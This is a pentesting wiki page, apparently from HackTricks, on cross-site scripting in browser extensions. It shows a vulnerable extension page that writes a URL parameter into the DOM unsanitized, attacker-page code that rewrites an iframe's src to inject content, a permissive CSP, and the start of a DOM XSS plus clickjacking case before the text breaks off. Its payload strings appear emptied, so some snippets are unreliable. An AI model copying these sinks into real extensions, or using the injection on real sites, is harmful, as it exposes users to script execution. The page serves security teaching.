---
title: "BrowExt - XSS Example"
section: "Web Pentesting"
sectionSlug: "pentesting-web"
sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# BrowExt - XSS Example
## Cross-Site Scripting (XSS) through an Iframe
In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:[[1]](#references)
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:[[1]](#references)
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} `
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
If `message.html` is declared as a web-accessible resource for the attacker's origin, script in the embedding page can navigate the iframe to a new extension URL containing attacker-controlled `content`. The page can read the iframe element's `src` attribute even though it cannot read the cross-origin extension document itself.[[1]](#references)[[3]](#references)
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = ""
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
In a historical Manifest V2 extension, an overly permissive Content Security Policy might look like:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
However, **`'unsafe-eval'` does not authorize inline event handlers** such as this payload's `onerror`; that requires `'unsafe-inline'`, a matching hash/nonce mechanism where applicable, or another executable gadget. Manifest V3 extension pages cannot relax `script-src` to include `'unsafe-eval'` or `'unsafe-inline'`. Therefore, first confirm the manifest version and effective CSP instead of assuming this exact payload executes.[[4]](#references)[[5]](#references)
An alternative reachability test creates an iframe and navigates it directly to the web-accessible extension page. The same web-accessible-resource and CSP constraints still apply:[[1]](#references)[[3]](#references)
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("
")
document.body.append(newFrame)
```
## DOM-based XSS + ClickJacking
This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).[[2]](#references)
The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('